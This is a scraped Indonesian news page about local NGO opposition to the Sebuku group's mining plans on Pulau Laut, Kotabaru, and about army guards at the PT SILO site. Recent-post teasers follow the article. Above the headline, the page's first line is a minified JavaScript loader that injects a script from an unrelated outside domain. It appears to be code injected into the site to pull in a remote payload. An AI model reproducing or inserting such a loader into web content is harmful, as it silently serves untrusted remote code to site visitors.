(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Polemik Soal Tambang Pulau Laut, Ini Alasan Masuknya TNI yang Diprotes LSM


KOTABARU – Polemik tolak tambang Pulau Laut oleh sebagian kalangan rupanya merembet pada masuknya jajaran TNI di kawasan areal pertambangan Sebuku Grup. Hal ini pun tak ayal menjadi sorotan banyak pihak. Sejumlah aktivis LSM Kotabaru selain menyuarakan dengan keras penolakan aktifitas pertambangan juga mempertanyakan adanya aktifitas TNI di sebagian areal tersebut.

Koordinator Masyarakat Penyelamat Pulau Laut Tolak Tambang, M Erfan kepada Kanal Kalimantan, Jum’at (3/11) mengatakan, memang pada saat pelaksanaan dengar pendapat beberapa waktu lalu di DPRD di kemukakan beberapa hal seperti Permen ESDM nomor 4 tahun 2017 tentang objek vital nasional, adanya penjagaan oleh jajaran TNI di kawasan areal pertambangan PT Sebuku Iron Lateritic Ores (SILO), dan akan melakukan class action.

“Kalau ternyata nanti ada aktifitas pertambangan yang dilakukan oleh Sebuku grup di kawasan Pulau Laut maka kami akan melakukan class action bersama-sama masyarakat. Selain itu, kami juga sudah berkoordinasi dengan Wahana Lingkungan Hidup (Walhi) Kalsel dan mereka siap mendukung upaya tersebut,” tuturnya.

Dikatakannya lebih jauh, menurutnya keterlibatan TNI/Polri bisa saja di dalam objek vital nasional sebagaimana isyarat Permen ESDM tersebut. Namun PT SILO sama sekali tidak termasuk dan tidak perlu dilakukan penjagaan oleh aparat keamanan.

“Kita ketahui yang masuk didalam objek vital nasional itu adalah perusahaan PT Arutmin Indonesia dan PT Adaro. Sedangkan PT Sebuku Iron Lateritic Ores (SILO) sama sekali tidak termasuk dan kami pikir area mereka tidak perlu dijaga,” jelasnya.

Ia berharap, kepada Pemerintah Daerah dalam hal ini adalah Bupati Kotabaru agar tidak memberikan izin lingkungan kepada SILO grup, karena jelas nasib Pulau Laut berada diujung pena. Memang disadari bahwa pihak Provinsi Kalsel memiliki kewenangan terkait IUP namun apabila Pemda Kotabaru tidak memberikan izinnya maka pihak Provinsi pun tentu tidak akan menyetujuinya.

“Intinya, bola panasnya berada di tangan Pemda Kotabaru dan mudah-mudahan Bupati tidak memberikan izin lingkungannya kepada SILO grup untuk Pulau Laut bebas tambang,” tegasnya.


Page: 1 2

Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

14 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

18 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

22 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

2 hari ago

This website uses cookies.